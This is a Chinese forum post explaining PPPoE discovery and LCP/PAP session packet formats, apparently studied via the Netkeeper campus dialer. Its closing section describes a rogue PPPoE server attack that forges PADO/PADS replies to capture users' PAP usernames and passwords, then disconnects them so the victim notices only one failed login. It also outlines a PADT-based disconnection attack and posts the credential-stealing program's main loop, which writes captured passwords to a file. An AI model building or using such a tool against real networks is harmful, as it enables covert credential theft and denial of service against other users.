樓主學生黨一枚,最近研究netkeeper有些許心得。
關于netkeeper是調用windows的rasdial來進行上網的東西,網上已經有一大堆,我就不贅述了。
本文主要講解rasdial的部分核心過程,以及我們可以利用它來干些什么。
netkeeper中rasdial是通過PPPOE來進行用戶認證并提供上網的。
PPPOE分為兩個階段PPPOED(即發現階段)和PPPOES(會話階段)
關于PPPOED部分,維基上有很詳細的介紹 。給個鏈接 https://en.wikipedia.org/wiki/Point-to-point_protocol_over_Ethernet
我只簡略的說一下,可以分為以下四個部分:
PPPOED的協議格式:數字代表字節數。
|??? 6?????? |??????? 6?????? |??? 2??? |? 鏈路層
dstmac???? srcmac????? proctol?? 很簡單,不多說
|? 1????????????? |???????? 1????? |??? 2???????????? |??????? 2????????????? | PPPOED頭
ver_type?????????? code??????? session id????? payload len
固定為0x11?? 行為代碼???? 會話id???????? 后續報文的長度
|????? payload len |? PPPOED tags。 這個不好說,可以去wiki看看。
?
// proctol 注意字節序的問題
#define PPPOED? 0x8863
#define PPPOES? 0x8864
//PPPOED code
#define PPPOED_PADI 0x09 #define PPPOED_PADO 0x07 #define PPPOED_PADR 0x19 #define PPPOED_PADS 0x65 #define PPPOED_SESSION 0x00 #define PPPOED_PADT 0xa7
struct PPPOE_hdr
{
??? char dst[6];
??? char src[6];
??? char proctol[2];
??? char ver_type;
??? char code;
??? char sid[2];
??? char len[2];
};
struct PPPOE_tag
{
??? char name[2];
??? char len[2];
??? char *value;
};
?
PADI:由client發送。(PPPOED tags 貌似必須要有host-uniq屬性),就是廣播說我想上網,誰能給我提供這個服務。
PADO:由server發送。(PPPOED tags必須要有AC-name屬性,而且要有client發的PADI里的host-uniq屬性。)就是服務器說我可以給你下這個服務。
PADR:client發送。(要有host-uniq)client向server請求上網服務,當接收到多個server的PADO時,一般向第一個收到的server請求服務。
PADS:server發送。(要有PADR的host-uniq,且需設置session id)之后開始服務。
?
PPPOES:我重點要講的部分,在網上搜了很久的資料也沒搜到啥,自己總結一下,方便他人。
PPP? LCP協議格式:? PPPOES支持的協議太多,而我們需要研究的只有LCP,所以只講LCP。前面與PPPOED相同.
?
|??? 6?????? |??????? 6?????? |??? 2??? |? 鏈路層
?
dstmac???? srcmac????? proctol?? 很簡單,不多說
?
|? 1????????????? |???????? 1????? |??? 2???????????? |??????? 2????????????? | PPPOED頭
?
ver_type?????????? code??????? session id????? payload len
固定為0x11?? 行為代碼???? 會話id???????? 后續報文的長度
| ? ? ?? 2 ? ? ?? |? ppp proctol type
| ? 1 ? ? ? ? ? ? ? ? ?? | ? ? ? 1 ? ? ?? | ? ? ? 2 ? ? ? | LCP header
?code????????? ? ? ? ? ? ? ? id???????????? len?????
LCP行為代碼?????? 驗證id?????? len指LCP header與后續報文的長度,與PPPOED不同? 即 len = 4 + 后續報文長度
| ? len ? ???? | LCP opts
//PPPOES proctol #define PPP_LCP 0xc021 #define PPP_PAP 0xc023 //LCP code #define LCP_REQUEST 0x01 #define LCP_ACK 0x02 #define LCP_NAK 0x03 #define LCP_REJECT 0x04 #define LCP_TERMINATIN_REQUEST 0x05 #define LCP_TERMINATION_ACK 0x06
#define LCP_IDENTIFICATION 0x0c// PAP code #define PAP_REQUEST 0x01 #define PAP_ACK 0x02
struct LCP_hdr
{
??? struct PPPOE_hdr pppoe;
??? char proctol[2];
??? char code;
??? char id;
??? char len[2];
??? char padding[2];//填充,字節對齊。
};
struct LCP_opt
{
??? char name;
??? char len;
??? char* value;
};
?
下面給個例子
講完協議基礎,就將PPPOES具體發生了什么。樓主只研究過PAP,所以下面講PAP
1. client向server發送LCP request,請求配置(例如MTU之類的)
2.server向client發送LCP ack或LCP reject(若發的是reject,client需要根據reject再發一份request直到server ack)。
3.server向client發LCP request,LCP request中包含用戶認證的方式CHAP 或 PAP。
4.client發LCP ack
5.client準備開始發送用戶名和密碼。發送3個LCP identification。
6.client開始發送用戶名和密碼。發送PAP報文。
7.server對用戶名和密碼進行認證,若通過則通過IPCP進行ip配置。錯誤則無法上網。
下面給一個PAP報文的例子,與LCP很相似。
上述總結一個圖
?
ps:樓主字丑勿噴。
應用:
1.根據上面所講的過程可知,我們可以在別人撥號上網發PADI的時候,發一個PADO偽裝成server,一般而言,只要client先接收到的是我們的PADO,我們就可以獲取到用戶名和密碼,竊取到密碼以后我們就發送一個LCP termination request和PPPOED PADT,在把用戶的MAC加入竊取到的MAC表中,對于竊取到的就不再進行攔截。
這樣真正的用戶在登錄時只會出現一次登錄失敗,之后正常,用戶也不會認為出了什么問題。
2.我們自己發PADI獲取當前網段中的PPPOE服務器的mac,再將自己的mac偽裝成服務器的,窮舉session id 發送PADT給正在正常上網的用戶就可以讓他斷網。
?
應用1樓主已經實現了,2沒做。源碼就不發了,防止有人搞破壞。
下面只貼出流程代碼
int main() {int sock,recv_bytes,i = 0;struct Mac src;struct Mac self = getLocalMac("eth0");char buf[2048] = {0};FILE * fpout;std::vector<struct PPPOE_tag*> tags;std::vector<struct LCP_opt*> opts;std::vector<struct Mac*> macMap;sock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));fpout = fopen("./password.txt","w");if (sock == -1){perror("socket");exit(1);}while(1){i = 0;recv_bytes = recv(sock,buf,2048,0);src = getSrcMac(buf);if (isMacInMap(&src,macMap))continue;if( PPPOED == getProctol(buf)){unsigned code;PPPOE_HeaderReader pppoe(buf,recv_bytes);pppoe.getPPPOED_tags(tags);code = pppoe.getCode();if (code == PPPOED_PADI)sendPADO(sock,src,tags);else if (code == PPPOED_PADR)sendPADS(sock,src,tags);else if (code == PPPOED_PADT)sendPADT(sock,src,tags,pppoe.getSessionId());release(tags);}if(PPPOES == getProctol(buf)){PPPOE_HeaderReader pppoe(buf,recv_bytes);switch (getPPP_type(buf)){case PPP_LCP:pppoe.getLCP_opts();if(buf[22] == LCP_REQUEST){HeaderBuilder builder;memcpy(buf,src.mac,6);memcpy(buf + 6,self.mac,6);buf[22] = LCP_ACK;sendEth(sock,buf,recv_bytes);buf[22] = LCP_REQUEST;buf[25] = 4 + sizeof (lcp_request);builder.addHeader(buf,26);builder.addHeader(lcp_request,sizeof (lcp_request));sendEth(sock,builder.head(),builder.getsize());}else if (buf[22] == LCP_TERMINATIN_REQUEST){HeaderBuilder builder;memcpy(buf,src.mac,6);memcpy(buf + 6,self.mac,6);buf[22] = LCP_ACK;sendEth(sock,buf,recv_bytes);}break;case PPP_PAP:struct Mac * tmpmac = malloc(sizeof (struct Mac));memcpy(tmpmac,&src,sizeof(struct Mac));macMap.push_back(tmpmac);recordPassword(fpout,buf);sendPADT(sock,src,tags,pppoe.getSessionId());break;}release(opts);}}close(sock);release(macMap);fclose(fpout);return 0; }
?